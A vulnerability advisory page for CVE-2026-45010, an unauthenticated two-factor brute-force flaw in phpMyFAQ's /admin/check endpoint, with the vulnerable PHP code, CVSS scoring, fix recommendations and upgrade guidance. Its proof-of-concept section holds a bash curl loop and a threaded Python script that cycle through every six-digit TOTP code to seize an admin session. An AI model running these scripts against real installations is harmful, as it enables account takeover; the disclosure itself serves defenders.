CVE-2026-45010: phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id

Published May 6, 2026
·
Updated

Summary

The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.

The controller class declaration:

php final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck

The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.

The check action (line 201-228):

php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); }

$token = Filter::filterVar($request->request->get(key: 'token'), FILTERSANITIZESPECIALCHARS); $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTERVALIDATEINT);

$user = $this->currentUserService; $user->getUserById($userId);

if (strlen((string) $token) === 6) { $tfa = $this->twoFactor; $result = $tfa->validateToken($token, $userId);

if ($result) { $user->twoFactorSuccess(); $this->adminLog->log($user, AdminLogType::AUTH2FASUCCESS->value . ':' . $user->getLogin()); return new RedirectResponse(url: './'); }

$this->adminLog->log($user, AdminLogType::AUTH2FAFAILED->value . ':' . $user->getLogin()); }

return new RedirectResponse('./token?user-id=' . $userId); }

Problems:

1. No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user. 2. No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock. 3. Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.

The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.

Proof of Concept

bash Step 1: Identify target user ID (admin is typically userid=1) TARGETHOST="http://target.example" USERID=1

Step 2: Brute-force the 6-digit TOTP code TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window. At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.

for code in $(seq -w 000000 999999); do RESPONSE=$(curl -s -o /dev/null -w "%{httpcode}:%{redirecturl}" \ -X POST "${TARGETHOST}/admin/check" \ -d "token=${code}&user-id=${USERID}")

# A successful 2FA grants a session and redirects to ./ # A failure redirects to ./token?user-id=1 if echo "$RESPONSE" | grep -qv "token?user-id="; then echo "[+] Valid TOTP: ${code}" break fi done

python Faster parallel version import requests from concurrent.futures import ThreadPoolExecutor

TARGET = "http://target.example/admin/check" USERID = 1

def trycode(code): r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USERID}, allowredirects=False) location = r.headers.get("Location", "") if "token?user-id=" not in location: return code return None

with ThreadPoolExecutor(maxworkers=50) as pool: for result in pool.map(trycode, range(1000000)): if result is not None: print(f"[+] Valid TOTP: {result:06d}") break

Impact

Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)

Recommended Fix

1. Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.

2. Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.

3. Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.

Example session-binding fix in check():

php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTERVALIDATEINT);

// Require that the session proves password auth for this specific user if ($this->session->get('2fapendinguserid') !== $userId) { return new RedirectResponse(url: './login'); }

// ... existing TOTP validation ... }

And in authenticate(), after successful password check:

php $this->session->set('2fapendinguserid', $this->currentUser->getUserId());

--- Found by aisafe.io

Other sources

phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters without session binding or rate limiting. Unauthenticated attackers can brute-force any user's six-digit TOTP code by submitting POST requests with sequential token values, bypassing two-factor authentication to gain full administrative access.

— MITRE

phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id

— Packagist

Affected Software

5 affected componentsFixes available
PhpMyFaq phpmyfaq<4.1.2
composer/phpmyfaq/phpmyfaq<=4.1.1
composer/thorsten/phpmyfaq<=4.1.1
composer/phpmyfaq/phpmyfaq<=4.1.1
4.1.2
composer/thorsten/phpmyfaq<=4.1.1
4.1.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/phpmyfaq/phpmyfaq to a version that resolves this vulnerability.

    Fixed in 4.1.2
  2. Upgrade

    Upgrade composer/thorsten/phpmyfaq to a version that resolves this vulnerability.

    Fixed in 4.1.2
  3. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 4.1.2
  4. Configuration

    After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.

    phpMyFAQ 2FA TOTP failed-attempt limit and lockout/backoff = Lock the account or enforce exponential backoff after 5 failed attempts
  5. Configuration

    Store a flag in the server-side session after successful password authentication, and require that the session proves password authentication for the requested user before accepting TOTP attempts.

    AuthenticationController password-verified session binding = Require the server-side session flag for the specific user
  6. Configuration

    Move the /check and /token routes into a separate controller that requires the password-verified session flag instead of allowing the entire controller to skip authentication.

    AuthenticationController SkipsAuthenticationCheck scope = Exclude /check and /token from the blanket skip

Event History

May 6, 2026
Advisory Published
via GitHub·08:42 PM
Data Sourced
via GitHub·08:42 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·08:42 PM
DescriptionSeverityAffected Software
May 15, 2026
CVE Published
via MITRE·06:36 PM
Data Sourced
via MITRE·06:36 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:17 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2026-45010?

CVE-2026-45010 has a high severity rating due to the potential for unauthorized users to brute-force two-factor authentication.

2

How do I fix CVE-2026-45010?

To fix CVE-2026-45010, upgrade phpMyFAQ to version 4.1.2 or later to eliminate the vulnerability.

3

Which versions of phpMyFAQ are affected by CVE-2026-45010?

CVE-2026-45010 affects all versions of phpMyFAQ prior to 4.1.2.

4

What is the nature of the vulnerability in CVE-2026-45010?

CVE-2026-45010 is an improper restriction of excessive authentication attempts vulnerability found in the /admin/check endpoint.

5

Can CVE-2026-45010 be exploited without authentication?

Yes, CVE-2026-45010 can be exploited without authentication as it allows unauthenticated brute-force attempts.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203